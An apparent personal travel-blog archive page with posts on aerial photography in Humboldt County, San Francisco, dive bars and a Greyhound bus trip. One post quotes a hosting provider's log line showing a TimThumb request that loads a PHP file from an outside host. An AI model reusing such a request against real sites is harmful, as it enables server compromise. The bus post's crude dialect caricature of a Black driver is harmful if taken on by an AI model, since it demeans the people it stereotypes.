Overland Travel — Tripping Overland

February 28, 2013 By Brett Leave a Comment

Getting High in Humboldt

Aerial photography of Capetown Coastline, Northern California, Humboldt

Capetown Coastline in Humboldt County, Northern California

The Boys in the back, Chris & Alex, rocking out as usual

Always comforting, our pilot searching for our location asks, Where are we?

Tripping Overland began as many things, one of them being a way to forgo the necessity of air travel in getting there. There is always a better way to go than stepping into a metal poop with wings and jet fuel at location A to get to destination B. Sure, for the sake of expediency airtravel is a a necessary evil. And it’s safe. Well, woo-fucking-hoo, let’s just all get hopped up on travel-sized vodkas and ambien, and jump the next Aerobus to whatever-third-world-island-we’re-exploiting-now on some shitty five-day four-night tour to languish jet-lagged on whitesand beaches and have the indigenous serve us sanitized versions of local fare. Ok, maybe I am overstating the point.

The truth is I love flying. Who doesn’t? It’s the most invigorating feeling I have ever had apart from being in the ocean (or with a woman).

There are many ways to change perception, to enhance perspective, to attempt a parallax view, and flying in a Cessna 172 Skyhawk–a four-seat, single-engine, high-wing fixed-wing aircraft, the most successful mass produced light aircraft in history, which barely goes over 105 miles per hour, likely less when stuffed like a tin can–is one of the best.

Aerial photography of Humboldt County coastline and interior foothills © Brett Richardson & Alex McKenzie

: The Boys in the back, Chris & Alex, rocking out as usual

: This is how we roll…

: The Prop Cone of the Cessna 172N Skyhawk

: Overhead Capetown Lighthouse

: Just before the clouds cleared at Capetown

: Always comforting, our pilot searching for our location asks, Where are we?

: Skies Break over Cape Rocks in Petrolia

: Overhead the Redwood Forest Bordering the Petrolia Coast

: The Tail of the Cessna 172N Skyhawk

: Capetown Coastline in Humboldt County, Northern California

: Cockpit Rule # 1

: Taking off overhead Arcata Bay

: Jutting rocks at Cape Ridge offshore of Capetown

: The twin jetties in Arcata Bay

: Wings overhead Fay Slough

Filed Under: Blog, The Americas, The Trip Overland, Travel Tagged With: Aerial photography, America, Arcata, California coastline, Capetown Coastline, Cessna 172 Skyhawk, Flying, Humboldt County, Northern California, Overland Travel, The Trip Overland™, Tripping Overland

January 20, 2012 By Brett 2 Comments

On Packing Up On Moving On – Tripping Overland Up North

Where Night Meets Dawn

I wake from a dreamless sleep in a dark cold. It feels as if there is nothing around me, not even the ground on which I lie, though I take this for granted as I am not falling. Trembling, I push myself up and attempt to feel my way through the chill nothingness, though where I am going, I don’t know. Barefoot and stumbling drunkenly, I eventually hit a wall. Gratefully I stand there, relieved and breathing hard, somewhat at peace, as if relaxing beneath a warm shower of water. Blindly, I roll the dice and choose to inch left along its cratered surface until I come to its ninety degree cohort and I catch a draught of cool air rushing in from somewhere overhead. My hands begin to paw frantically about in search of a switch, a cord, a knob, some sign of intelligent life other than these mute obelisk reflecting back the night. My eyes should have adjusted by now but I can still see nothing. It is getting colder. I begin to jog, running a guiding hand along the wall, counting time to measure the circumference of the room. But it is not long before I hit something hard with my foot and tumble face first into the cold hard floor. The generalized pain spreading across my head is welcome. It dissipates the fear and insecurity of the senselessness surrounding me. Something warm runs down my cheek as I reach my hand behind me to feel what I tripped over. My fingers flutter across the hard square like a butterfly in the sun. Feeling something other than myself and the wall is a tactile pleasure. I bring myself closer to it until I feel a hinge here, a hasp there—it’s a box. Open it, I scream in my head, drowning out the mean silence, but opening it does nothing more than add more mystery to the dark. What is inside of—what was that noise? A shifting shush, as silent as a woman’s hips in silk. I start to reach my hand, searching every corner in the surprisingly large box when out of the corner of my eye a pinprick of white appears. I realize I am looking up. I see the infinitesimal scintilla of starlight shoot toward a far off point in the invisible horizon. It is soon joined by a sibling. And another. And before long a vast panorama of iotas twinkle from one end of the endless black and amass toward a growing ball of illumination in the distance—a star. It is only after some indeterminable time has passed that I sense something touching me, that I realize something soft and matching black as the night is crawling up my arm. My attention goes back to the ball dancing about as it collects the tiny moths streaking toward its warm giving light. It grows so fast that it is impossible to tell how far away it actually is. The thing from the box continues to move up my arm, onto my shoulder. I look down but cannot see it, cannot see anything, except the star. The fear my brain tells me to feel concerning the unknown danger is allayed by this light, despite its lack of reflectivity. As it grows more rotund and takes a larger portion of what might be called the sky, it emits a warm fuzzy buzzing, the first sound I recognize hearing aside from my own internal voice. The warmth I feel as the thing wraps around my neck like a scarf on a chill winter’s night is somehow comforting rather than terrifying. Though amorphous like a liquid, I now have a sense of its size and shape, and can feel its blob-like body inching up the side of my head. Suddenly the star expands to almost double its size before retracting, and in time to the musical humming begins to pulsate in time, all the while still adding to its now massive rotundity. It is then that I catch the merest glimmer of a reflection of the black exoskeleton of the snakey-shaped thing crawling in my ear. Even then I feel no sense of impending dread or danger, though I begin to feel uncontrollably sleepy. The burgeoning star of light pulses and thrums ever larger and so close that as I reach out my hands to touch it I see the silhouettes of my fingers, tendrils of hair, the carotene shine of my nails. The thing slips completely into my head and my eyes close. I manage a last smile, still feeling the warmth of the star’s emission while falling back to the ground, as it somewhat comforts the blow of the unforgiving floor on my head.

Off and on for more than two months this is the dream that recurs in my sleep as I approach my departure date to moving to Alaska, though I tell no one. On the outside I am all sure smiles and confident control. On the inside I am pure recklessness, like the dream, unsure of which way to move in a dark and alien territory.

I begin to wear wool and flannel. I buy waterproof boots and a silk balaclava. I jump into rivers fully dressed to test my anti-bacterial quick-dry underwear. I move about from town to town, city to city, state to state in the western U.S. I have no home. Except my camera, a few books and the clothes on my back, I have no possessions to speak of. This is not a boast, but merely how I choose to live. In an age of amassing wealth and property, of resource wars and cataclysmic disasters, this concerted vagabond roaming is what comforts me. I am feeling my way through the darkness, grasping at invisible walls, tripping over unseen obstacles, experiencing the beauty and the terror simultaneously.

I understand how this may sound. I hear myself and I groan. Often my ego tells me to give it up kid, get a normal job, get married, have some babies and be respectable like the rest of us. The voice tells me that money is good, that it is really alright to clamor after the elusive muse of celebrity, to obsess over body image, to eat processed foods of indeterminate origin and healthfulness, to chase after the American Dream. Hey kid, what if everyone did what you are doing, shirked responsibility, bucked conventional wisdom, chased their dreams no matter how unrealistic? No one would get a damn thing done would they? Then, from out of some dark place, I hear myself growl, Fuck you voice of reason, fuck you.

The Great Wall of China at Changcheng

I look at my friends and my family and I see the sad grimaces they force on their faces when I come near, not wanting to ask what I am doing, but still trapped by the formality of language into cliched Q & As. Though occasionally we break through the patina of trite anecdotes, it doesn’t come as easily as it used to—mere drug use isn’t enough anymore. Not wanting to hear about anything that can’t be immediately grasped and understood, labeled and filed away under proper 21st century experience is still a great affliction of our close-minded reptile brains. It is understandable. Life is after all a lose-lose situation—everyone dies and it’s a slog to the end. We all are forced to watch our loved ones die. Just as we force others to watch us die. Jesus, how depressing. No wonder people need money, power, hardcore drugs, alcohol, nicotine, caffeine, sugar, sex, religion, politics, fascism, extremism, insanity, rock and roll and so on. Who doesn’t need something, more or less, along those lines? And who doesn’t have something to say about what is right and what is wrong not only for themselves, but for everyone else? O great ball of light, o great creature of the box, how to escape the tedious simplicity of human nature? There is no escape. One merely forges on through the cold darkness as far as we can into the occasional moments of illumination the external world sheds arbitrarily. I myself have always been attracted to that gorgeous moment of discovery in the midst of a single breathe, between the point of inhalation and exhalation, when time stops and the brain empties. The rest of the world falls away and you are left with whatever beauty you have surrounded yourself with, the makings of your own personal heaven: a pristine vista, a valley at sunrise, body-surfing in the ocean, fast cars and loud music, watching horses gallop, the smile of a loved one, the joy of accomplishment, or maybe just the first bite of a jelly glazed doughnut. Release.

It may be cold and distant, it may be invisible and impossible to find, it may be you don’t know where to begin, but it’s there if you want it to be. You just have to give chase. It’s time I started to take my own advice. So, I’m off to Alaska with my few books, my camera and bag of film, my waterproof boots and silk balaclava and my anti-bacterial quick-dry underwear. I will be in touch. I’m not dead yet.

Filed Under: Blog, The Americas, The Trip Overland, Travel Tagged With: Alaska, America, From Japan to California, Overland Travel, Round the World Trip, The Dark, The Trip Overland™, Tripping Overland

January 4, 2012 By Brett 1 Comment

Death in San Francisco

Cars rush off the cliff like lemmings at the Broadway Tunnel at Hyde Street in San Francisco

“East is East, and West is San Francisco.”

— O.Henry

Cars rush off the cliff like lemmings at the Broadway Tunnel at Hyde Street in San Francisco

The brilliant curmudgeon Norman Mailer called Chicago “a great American city” yet allowed that she is a lady. H.L. Mencken noted the subtle but unmistakable sense of escape from the United States. John Steinbeck called it the golden handcuff with the key thrown away. A number of great things have been written about San Francisco by writers from all over the world, all beatifically blathering on about how wonderful it is that despite the vice and crime (or perhaps because of), the hippies and grime, America got one city absolutely right (excuse me Manhattan Island, but pound for pound you are no match). Much of this can be put down to the demure size of the peninsula which houses the city once dubbed Yerba Buena by the conquistadores who eventually sailed through what Spanish explorer Gaspar de Portolà called the most perfectly formed bay he had ever seen.

I say eventually because it was never discovered by ship, it—that bay of bays surrounding forty-nine square miles of peninsular beauty—was first seen (mistakenly at that) by the non-native eyes of a land-based hunting party of Portolà’s not until 1769. Imagine the eminent 16th century Portuguese explorer Juan Cabrillo (of Cabrillo Aquarium, Cabrillo Beach, Cabrillo Bridge, Cabrillo Day, Cabrillo High, Cabrillo Junior High, etc.), repeatedly sailing blissfully ignorant by its fog shrouded inlet and eventually founding Bahia de los Pinos at present day–and more obvious–Monterey Bay. Or a war weary and well-scurvied Sir Francis Drake claiming Point Reyes (just north of S.F. Bay and already a part of Spain) for the crown of England in 1579. Not to mention the hundreds of other Manila galleons sailing from the Philippines over the next hundred years. Why was it so hard to find? Or rather why didn’t the Spanish Empire between the time of Cabrillo and Portolà, when more than 200 years elapsed without so much as a landfall, realize they had for all intents and purposes found one of the crown jewels of the Americas?

Modern geologists cite poor telescopy and the odd alignments of Alcatraz and Angel Islands (which seem to align the mouth of the bay with the peninsula) as reasons. Other outre geologists have suggested that it—yes, the bay itself—did not exist at all until the 17th century and then only due to major earthquakes in 1630 and / or 1725 causing soil liquefaction which allowed the ocean to rush in (I like that one). Whatever the cause, the bloated and apathetic Spanish Empire did not take much interest in Alta California, much to the pleasure of the Bay Area Ohlone Indians, as well as at least one hundred other native tribes, until Russian fur traders had exploited their own lands and began to explore the beaver-rich Pacific Northwest. The time of the Spanish was nearly at an end, and even the newly liberated Mexicans soon felt the weight of the bastard progeny of gringo interlopers desire for gold.

For if it is not gold which has paved the streets of the dreams of every single immigrant that has fallen feet in San Francisco, then would it be those low-lying banks of fog themselves upon which we continue to shake our zombie voodoo money-makers that help obscure the true animal heart of the peninsula? Why should this land have any deeper meaning than any other? What makes San Francisco special? The fact that it was overlooked by the colonizers of the new world for so long, only to be finally discovered, built, shook, burned, rebuilt, and repeated ad infinitum—this level of rapid modernization rivals the post-WWII Japanese industrial machine. The shaking out of the raw and wild and replacing of nature with landmarks of human progress is almost nowhere better viewed than in the petri dish of San Francisco. Is it that it cannot no longer grow outward—can no longer physically represent the ever-expanding American waistline—and therefore has had to grow inward, exploring the dark and light which both dwell within the city’s self and the selves of the city’s denizens? This spacelessness is an almost unheard of phenomenon in the western United States and one that makes most Americans uncomfortable: the idea of limits, of limited expansion, of growth that is not unbounded, of profit that is not unlimited, the frightening thought that one day there may be no more gold to rush.

She Loves Me. She Loves Me Not.

The City may be destroyed by any number of natural disasters tomorrow so we shall reap what we can today. So if not golden stones paving our boulevards, then let us press in capital Ps for Progress. Let it be that this experiment in European Americanism is taken as the vanguard of forward thinking civil libertarian peoples from all over the globe congregating in the two upper joints of an extended middle finger jutting out of the fist of California midsection in an an ode to guts and raw wilderness, and the pure visceral butterflies-in-the-stomach sensuality of dangling by the fingertips off the edge of a continent whose drop is shrouded in fog coupled with the intimacy of death by dagger, might go a little way to describing the mentality of the 800,000 odd people who call the City proper home.

The edge. A pair of legs bobbing over beneath the invisible gaze out into that big emptiness. It is that emptiness that resets us. It reminds us that whence we came, so too shall we return. The western border of mostly greyish-black seeming body of undulating water, the fury of life seething just beneath a mostly calm surface, occasionally breaks forth in resplendent blue-green song and foamy whitecap serenade and perhaps we can glimpse a gorgeous scintilla of life in the midst of all the mostly empty universe. San Francisco, with its masses of multi-colored people speaking manifold tongues and practicing strange customs set against a backdrop of billowing hills and blustery wind, cold summers and mild winters, does what other great cities do: it makes us feel small and insignificant, and safe in that smallness and protected in that insignificance. Whatever the reasons people have come to California, most who came to the western end of the United States saw the Pacific Ocean from beyond the Golden Gate Bridge and stayed.

If they couldn’t afford the City’s exorbitant rents they moved to Oakland and Berkeley to the east, San Mateo, San Jose and Santa Cruz to the south, while Marin and the Elysian wine fields of Sonoma, Napa and Mendocino which bolster the north of the central valley, while still just the seals and sharks and sundry other alien life housed in the vast emptiness of the Pacific Ocean to the west.

Despite those exorbitant rents and expensive prices, its warping tendencies and ritualistic vice, its impending disaster and self-destructive population I feel myself drawn to San Francisco. Not quite unlike just another moth caught in a hypnotizing shaft of light alongside so many others. I am a unique flower amongst the weeds of humanity. Am I not? She loves me. She loves me not. She loves me. She loves me not. She loves me?

“San Francisco itself is art, above all literary art. Every block is a short story, every hill a novel. Every home a poem, every dweller within immortal. That is the whole truth.”

— William Saroyan

Midday on Mission street near the 24th street BART Station is busy as usual. I blend in to the crowd as I pass by the bar at least twice, maybe three times, glancing through the window facade trying to catch a glimpse of her before entering. Goddamn I wish still smoked. Is my shirt too nice? Why is everyone staring at me? Should I have rubbed one out before coming to meet her? No I don’t want any MDMA man, thanks anyway. I go in and deliberately do not look around, although I swear I can see her across the room, her booted feet on the tabletop showcasing legs stretched out in tight black jeans as she sips her Chimay and scrolls through her iPhone. Is this what the Trappist monks had in mind, I wonder? I order a Westmalle Tripel and wait for it to be poured. It is a slow burn that runs up my spine and chills my neck and I know she has spotted me. Don’t ask me how I know this. Call it intuition. Call it having feasted and fucked and fought our brains out tens years ago nestled in a warm apartment in the mountains of Matsumoto, Japan. Call it a guess.

Lady Boots and Belgian Beer

I get my beer and an idiot grin from the hipster creep behind the bar, turn away and walk toward where she sits languidly, making the wooden bench appear as if it were a 17th century chaise lounge out of Versailles. She looks up with her olive eyes glinting and smiles. Putting her phone away, she stands as I approach and we hug. In the instant it goes too long there is some kind of connection rekindled. Most every male in the place glance up from their mobile phones, look her up and down and wonders who the hell am I to be with her. We sit and clink glasses and cut through the obligatory small talk after ten years of not seeing one another. I follow the outlines of her heart-shaped lips, thin and delicate as they caress sounds out of her mouth, not listening to their meaning, but getting the gist. Her easy grace and effortless beauty make me feel charming. The strong Belgian ale helps us loosen up quickly and before long we are laughing and flirting. She touches my forearm and whatever anxiety and nervousness I may have been hanging onto melt away. We order sausages and another round of beer from the prick behind the counter, now incredulous at my company. I overtip him. Enjoying the buzzing of our heads, half from the alcohol, half from remembered passions, we wait for our food.

Forty-five minutes later we are done with our artisan sausages and finishing up our beers when I propose that we move on to a Tapas restaurant on upper Haight where I am meeting friends, good friends, blah blah blah, from out of the country who are leaving tomorrow. Her hands on the bench, balancing her subtle rocking, she nods several times, yes yes, with a girlish smile, she will come.

Everything is crowded in the city: the streets, the subway, the muni, the alleyways, the abandoned sofas, the fenced-off construction sites, the bars, the bathrooms, the women. It is a manageable crowd, the kind one gets used to, even gets to like, crowding out the creeping silence of death. Death is the last thing on your mind when you’re with a beautiful woman. Life takes all the chips. Everything is a sensual feast, all spring flowers and fecundity. The sounds of clinking glasses and raucous laughing enhance the pheromonal aromas of food and liquor laced with sweet and savory herbs, intensifying the delicate sexual ambiance like a chum thrown into a feeding frenzy. Men and women’s eyes wander covetously as they hunt around the room for bare skin on which to feast. The liquor is both a metaphor and literal reality for losing oneself in the sensuous comforts of opiate bliss, of gluttonous release, of ultimate death of fucking into oblivion.

Cha Cha Cha is no different. Moderately cheap and very fast, they have the business of getting people drunk and fed and fucked down to a happy science. A man walks into a bar. He is alone. No one cares. A man walks into a bar with an attractive woman and everyone wonders what is his secret. Does he have money? Power? A 12-inch cock? What is it, dammit?! What they never guess is that’s it’s none of the obvious crutches we use when our bank accounts are empty, when no one will follow our orders, when we are finally flacid—it’s an intrinsic trust in the prolific nature of the universe to provide. You must obey its nature—however arbitrary—and follow its path. But if you do, you will be full of, as we toasted tall glasses of Sangria to in the bar, “Amor, Salud and Pesetas.”

I was beginning to notice what everyone else already knew: she had lost her girlishness and was now a woman. Though older and, by dint of ruthless gravity, less firm, she was somehow more attractive than at 19. Her eyes, framed by locks of soft chestnut brown hair, replaced the immature posturing she once exuded and gave her face a depth of character and a softness of beauty I hadn’t ever experienced. Her skin was still tan and smooth, but she fit into it better, wore it like a gown rather than a skirt. Though now a woman in full bloom she was ripe with youthful vigor and had a particular sprinkling of lust about her that was unnerving. She had always possessed the ability to make men wither away with her directness and eye contact. That may have been why I was able to make her swoon, at least for a time, where others had failed: I didn’t blink. I never looked away. It scared the crap out of me to do so, but I could hold her gaze. Before I had a chance to consider how it happened I was clasped on the shoulder by my friends and we were soon entrenched in introductions and how-do-you-dos.

Aided by a second pitcher of Sangria, lots of little plates of spicy Caribbean-style tapas and fast, non-stop talk the day morphed into night. My friends had been traveling along the coast of Central California looking for alternative lifestyles for a Japanese magazine and they regaled us with strange stories of off-the-grid counter-culture still thriving along the pricey coastline. I rested my hand lightly on her thigh to get her attention, asking if that wouldn’t be the funnest thing ever. What exactly, she smiled flirtaciously, blinking in slow motion. Traveling together on the company dime, going to strange, exotic places and writing about it, filming it, whatever. What would I do, she asked. You would be the talent, I said. You will smile and flutter your lashes just like you’re doing now and say to the camera, wouldn’t you just love to be here with me? Now tell me that we can’t get paid to do that. I took away my hand and took a drink. I must have blinked. When I looked back she looked surprised, a little shocked, but still smiled. She picked up her drink and took a sip, putting her lips together, making a mmmmm sound and closed her eyes almost completely before turning back to the other conversation.

I didn’t realize it at the time but I had just lost her, again. Or maybe I had never had her, just amused her for a while. Regardless, she had awoken from whatever weak spell of words I had cast with the aid of alcohol and ambiance. After the meal had concluded and the excited talk still begged for more wine the four of us went to my friend’s apartment, a loaner from an ex-girlfriend, and continued into the wee hours. This happened every time we got together, we spent hours on end talking, eating, drinking, screwing. But this time was different. As the wine dried up and sleep overtook my friends, eventually she decided it was time to go. She asked me to walk with her. We walked along the outer edge of Golden Gate Park talking slightly in the iridescent light, the details of the conversation lost to the chill bay area mist blowing out to sea. The last thing she said before heading up the stoop to some stranger’s apartment was how special I was to her. She kissed me, flashed her eyes at mine, and never looked back. I continued walking and headed back to the park. Like a zombie smelling far off flesh, some nameless power drove me on through the park and toward the ocean.

Walking for hours felt like minutes and miles were mere inches by the time I reached the Great Highway running along the coast. I followed it to Point Lobos where I spied the ruins of the Sutro baths as the sun rose behind, eventually splashing certain of its shafts of golden pink light through the cloud cover. I trekked down the hilly path to the ruins, along the rocks and past the large defunct pool and continued north, climbing back up the trail to the top of the point. I stood there on the cliff for an interminable period of time and watched the seals diving for breakfast amidst the violent waves breaking on the jagged rocks. I projected myself out there, my body surfing in the waves, swimming with the seals, playing in the surf, catching fish with my teeth, eventually losing control and dashing against the rocks, the tide towing me in and out until the crabs got to me, cutting me down piece by piece, back to the sea. She loves me. She loves me not.

The Road to the End of the World

Filed Under: Blog, The Americas Tagged With: America, Death in San Francisco, From Japan to California, Overland Travel, San Francisco, The Edge, The Edge of the World, The Trip Overland™, Tripping Overland

December 22, 2011 By Brett Leave a Comment

Dames and Drinks the Best of 2011

Drinks & Dames – Best of 2011

It ain’t over till the sexy lady sips her Manhattan, Holy Headbuzz Batman! was it a good year for dames I’ll never see again and drinks I will remember for the rest of my life. The list of new bars on the map is a long one: New Orleans’ Checkpoint Charlies. San Antonio’s Esquire Tavern. Phoenix’s Bikini Lounge. Santa Monica’s Liquid Kitty (OK, this is an old one, but haven’t been in years). San Francisco’s Mission Bar. Portland’s Gold Dust Meridian. And since it’s always nice to sip that long island ice tea with the fairer sex, here are a few ladies from the long happy hour that was 2011.

: A chilly Anchor Steam at Red’s Java by the Bay Bridge, San Francisco

: Marcia in San Francisco

: Hendricks & Tonic, Mission Bar, San Francisco

: Pilar is in Communicado

: Growler at the High Sierra Music Festival

: A couple of lovely ladies at the Rebirth Brass Band Show, Maple Leaf, New Orleans

: Absinthe at Pravda on Decatur Street, New Orleans

: Kinga at the Rose Garden, Berkeley

: The “Lowlife” at the Liquid Kitty, Los Angeles

: Courtney on Frenchman Street, New Orleans

: Denise in Venice

: Ginger Vodka, Crushed Mint & Soda

: Bulls Eye

: Cadillac Margarita at La Paloma Blanca

: The Moscow Mule at the Esquire Tavern, San Antonio

Filed Under: Blog, The Americas, The Trip Overland Tagged With: Best Dive Bars in America, Bikini Lounge, Checkpoint Charlies, Dames and Drinks the Best of 2011, Esquire Tavern, Gold Dust Meridian, Liquid Kitty, Los Angeles, Mission Bar, New Orleans, Overland Travel, Phoenix, Portland, San Antonio, San Francisco, Santa Monica, Tripping Overland, Whiskey, Women

September 19, 2011 By Brett 4 Comments

The Trip Overland Hacked via the Timthumb Vulnerability

The Berkeley Sky at Night (Manny Santiago)

On the road there is little time for anything other than catching glimpses out of the corner of your eye along the speeding road of the blurred trees and the slower moving mountains at the far-off horizon line. There isn’t an opportunity to jack in, hook up, dose out online. When you are working out on the road and your only Wi-Fi connection is still 500 miles away in the next Motel 6, how do you protect yourself? A better, more wider ranging question might be: how do you keep what you put out into the world safe from those who would do harm?

After getting back from a summer trip to New Orleans, I got a job in Northern California and was off the grid, so to speak, for a few day, camping, kayaking and shooting long exposures of stars at night. Getting back to reality I received the following message from my hosting company:

We need to inform you that your hosting account for willwalkforsex.com has been hacked and used to run illegal software on the server. Here is how the hackers have exploited your account:

87.118.92.112 – - [17/Aug/2011:08:43:18 -0400] “GET /wp-content/themes/xxxxxxxxx/includes/timthumb.php?src=http://flickr.com.wikicenter.net/php/echo.g.php HTTP/1.1″ 200 827 “http://www.enchantedhillsweddings.com/wp-content/themes/DeepFocus/timthumb.php?src=http://flickr.com.wikicenter.net/php/echo.g.php” “Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8″

To secure your website, and to avoid similar incidents in future, you will have to upgrade any third party software you are using on your account to the latest versions. Also, if you are using any custom scripts, please secure them as soon as possible.

Here is a full rundown of the timthumb vulnerability.

I had always assumed that hacker’s wouldn’t (or shouldn’t rather) be interested in sites like mine. Why would they? Is there any reason for them to use this site other than as gateway protection to buffer them from their real target? Their real target being offshore holdings of some monolithic corporation or secret plans housed in an underground government facility. Why The Trip Overland? [shakes fist at sky whilst muttering, "I'll get you yet!"]

Anyway, apologies for the downtime (those of you who actually noticed!). We’re back up and running at at least 68%. More to come.

The Berkeley Sky at Night

Filed Under: The Americas Tagged With: All Content © Manny Santiago, America, I got Hacked, Overland Travel, The Berkeley Sky at Night, The Trip, The Trip Overland™, Timthumb Vulnerability, Timthumb Vulnerability in wordpress themes and plugins, USA

June 20, 2011 By Brett 4 Comments

Riding the Dog – Across America by Greyhound Bus

Riding the Dog – Greyhound Travel in the U.S.A.

Come on, Bryce. There are a lot more important problems than Sri Lanka to worry about.”

“Like what?”

“Well, we have to end apartheid, for one, slow down the nuclear arms race, stop terrorism and world hunger. We have to provide food and shelter for the homeless…and oppose racial discrimination and promote civil rights, while also promoting equal rights for women. We have to encourage a return…to traditional moral values. Most importantly, we have to promote general social concern…and less materialism in young people.

– Patrick Bateman, American Psycho

Unless you are Jay-Z relaxing with a topless Beyonce singing Happy Birthday Mr. President on your own private Cote d’Azur beach, traveling is never as easy as it sounds. Most people take an overbooked flight, stumble sweaty and confused around the baggage claim for an hour, lie their way through customs, overpay a taxi to deliver them to a room where they collapse onto the 50 / 50 Modacrylic and “Warden” wool blend flame retardant military style blanket and bedcover of the overpriced hotel near—not on—the beach, which gets overrun with roving gangs of displaced orphans and wild packs of dogs as soon as the sun sets. “Where’s the fine Italian linen on damask-patterned Swiss cotton, honey?” goes the calm discussion before voices raise to “Jellyfish have a season and it’s now?” and “All pleasure cruises have been canceled due to naval exercises?” finally makes you realize that it’s not just futile, but you should have paid better attention to your Lao Tzu fortune cookie philosophy, “A good traveler has no fixed plans, and is not intent on arriving.”

At this point, every spot beautiful enough to be considered “vacationable” has had the dregs of its native population bought and moved off (or just outright slaughtered), been developed by multinational hotel conglomerates and fruit / sugar plantationers, the local wildlife poached to the fringes (but you can still find their iconic shapes adorning folk art and crafts gangs of young orphans pressed into service by their pimps will exhort you to buy), but don’t worry, wherever you go, no matter how odd it may actually be, there will either be elephant or camel rides for the kids.

Maybe you know all this. So you avoid the hassles and pratfalls of d.i.y. travel by taking a group tour of Thailand, a family friendly visit to South Africa, or an active adventure excursion to Egypt. What about a cultural journey to Peru’s Machu Picchu? Or perhaps you are ahead of the game: an avid ecotourist who understands the precarious nature of the environment’s delicate balance and prides themselves on low-impact, culturally-sensitive travel which benefits local communities and the host country?

…now I’m awake and I’ve got whores, drugs and politics on my mind. Should be a great ride.

You may have been weaned on buses in Latin America, you may have road travel down to a science in Southeast Asia, or done safari to Kilamanjaro and beyond, but would you dare venture into the United Sates of America by Greyhound? Let me forewarn you now, whatever adventures you may have survived in your youth, the one thing you do not want your children to grow up to do is to ride the bus. I’m not referring to the yellow school buses with tinted windows and air conditioning, no. Those are a rite of passage. The bus you want to avoid is the one you get on when you get knocked up in Pittsburgh and need to get to your cousin’s in Chicago on $27.50 and a prayer. This is the bus John Walsh references you were last seen boarding after getting cut from the Appalachian League Pulaski Mariners. This is the coast to coast interurban-interstate motorcoach local to hell, with service at Mictlan, Tartarus, Xibalbá, Hades, Sheol, Gehenna, Jahannam, Avici, Naraka, Diyu, all Nine Rings, the River Acheron (exact change please) the Lake of Fire and Cocytus, no transfers. This is the bus that drives through the heart of an unclean fire into a desperate cold, moving as fast as it can before it implodes. This is the mirror put up to America’s dark shadow and what is shown back at us is not pretty.

The truth happens outside of New York, after disembarking at the City of Brotherly Love, where the east coast salt belt traffic corridor opens up into the shrinking cities of the Rust Belt, when the economics doesn’t demand proper customer service etiquette. Perpetually late, tired and harassed in ways similar to rendition, taking a trip on the Greyhound intercity bus lines serving North America, is more than getting a front row seat of the state of the actual union, it’s taking your life in your hands. Here in the too narrow seats with their too little legroom for the burgeoning American waistline you are subjected to conditions not unlike those described by prisoners held in Abu Ghraib: yelling, cursing, threats of violence, bright lights, darkness, extreme temperatures, long-winded and demeaning lectures, forced disembarkation in dangerous conditions, intimidation, and fistfights. The modern day Greyhound bus is a micro portrait of the country at large. It’s an exciting and frightening way to see the “real America” without seeing any of the country at all.

Sometimes those flyover zones are worth seeing…

Sooner or later (or not at all) your driver will come on over the loudspeaker and talk about the rules. Depending on their personality, socio-economic background, verbosity, caffeine intake, this will either rehash what all of these regular riders have been hearing since the first grade or it will take on a new I’m-an-Individual-too-Mutha-Fucka accenture which will evoke howls from the peanut gallery. My favorite, from a deep-south black woman of less than five feet in stature and more than two hundred pounds in girth, went something like this:

‘Lo ya’ll and welcome onboard my Greyhound. My name is Shawnda and I be yo’ driver to Indianapolis. So don’t be tryin’ no funny stuff, ‘coz we got ourselves a ways to go tonight, yes honey. Now let ya’ll and me get something straight and we’ll both be jes’ fine: For everyone’s safety n’ comfort, there is NO SMOKING on this bus. I repeat no smoking! No smokin’, no tokin’, no rollin’, no bowlin’, no basin’, no blazin’, no bakin’ or toastin’ of anything legal or illegal at all. No cigs, no butts, no darts, no fags, no cancer sticks, no coffin nails, no joints, this is no joke. I am serious as a heart attack ya’ll. I got me an air vent up here come right out by my nose connected to the bafroom, so I will know if you even think of lightin’ up anythang, ANY-THANG, am I clear? I have a zero tolerance for alcohol, weapons and unruly behavior, meanin’ sex, drugs and rock n’ roll. I smell anythang but yo’ stinky feet up here and I will stop this bus and ya’ll be walking in the middle of a corn field. Speakin’ of stinky feet, keep your shoes on.”

All that is true, I mean ‘very word, but let’s get to what you can do. Coz’ we got a long trip together and it’a be better for all o’ us if we can get along. Radios, laptops and other electronic items may be carried on board, but do not, DO NOT, disturb your fellow passengers. Use your radio headsets, headphones, earphones, or ear buds, but no singin’, or hummin’, no whistlin’ or mouthin’ your favorite movie or song. Jes’ be quiet and keep it to yo’self, please and thank ya.”

After what could be minutes, hours or days of the recurrent cycles of napping and waking in the alternating dark and light between Sliding Hill and Elyria, Elkhart and Aurora relationships begin to form, small communities and cultures build within your immediate seating area. Much like prison, bonds are formed quickly and factions can arise within hours. Despite Shawnda’s rhythmic warnings to the contrary the cliques rise around those who play mp3s and watch movies on their phones for all to hear, amongst them the joke tellers, the non-stop talkers, the pregnant, the gangster-wannabes, the elderly, the sleepers, the snorers, the whores, the starers, the Latino families, the shifty-eyed, the obese, the insane, the lepers, and the junkies. Occasionally a foreign traveler or the shut-eyed suburbanite might wander on to one of these buses out of curiosity or financial hardship and will recount the tale as a landmark turning point in their lives: BG (Before Greyhound) and AG (After Greyhound). After riding the dog across country, Amtrak begins to look like personal limousine service.

It’s after midnight and we are other side of Cleveland. The bus is dark as we lumber down Interstate 71 heading into Columbus. The relative silence the bus had sunk into is broken by the woman seated behind me not trying too hard to stifle her howling laughter and crude comments pointed at another woman seated across from her giving head beneath a jacket to the man sitting next to her. Once you know what’s going on it’s hard not to see out of your peripheral sight the outline of a head repetitively pumping up and down like an oil derrick. The lights of passing cars and billboards illuminate the ghostly outline of the public sex act and coupled with all the usual sounds of sex plus the eerie and fake pay-attention-to-me-because-my-parents-never-did laughter, the whole event is not unlike being at an old adult theater watching Rob Zombie’s horrific remake of the cult classic Goldie Goes Greyhound. Either way, now I’m awake and I’ve got whores, drugs and politics on my mind. Should be a great ride.

Stop Less. Go Mope.

Bumping our way through central Indiana road surrounded by farmland, I became aware of voices shouting from the back of the bus. A strange odor seemed to waft forward. A plume of invisible burnt glass smelling smoke emanating from the bathroom barely preceded Shawnda’s roar of “Muthafuckas!” as she abruptly edged the large Motor Coach Industries 102D3 onto the shoulder and pounded the air brakes into a loud skreech. She quickly unbuckled and drew back her protective plastic barrier, and 180′d into the aisle, her demure knuckles showing hard as her hands grasped the back of each seat she passed. “One of you muthafuckas been smokin’ in my bathroom. Now what I tell you? It’s a long ride to Indy and one of you is makin’ it longer for all of us. Now who is it?”

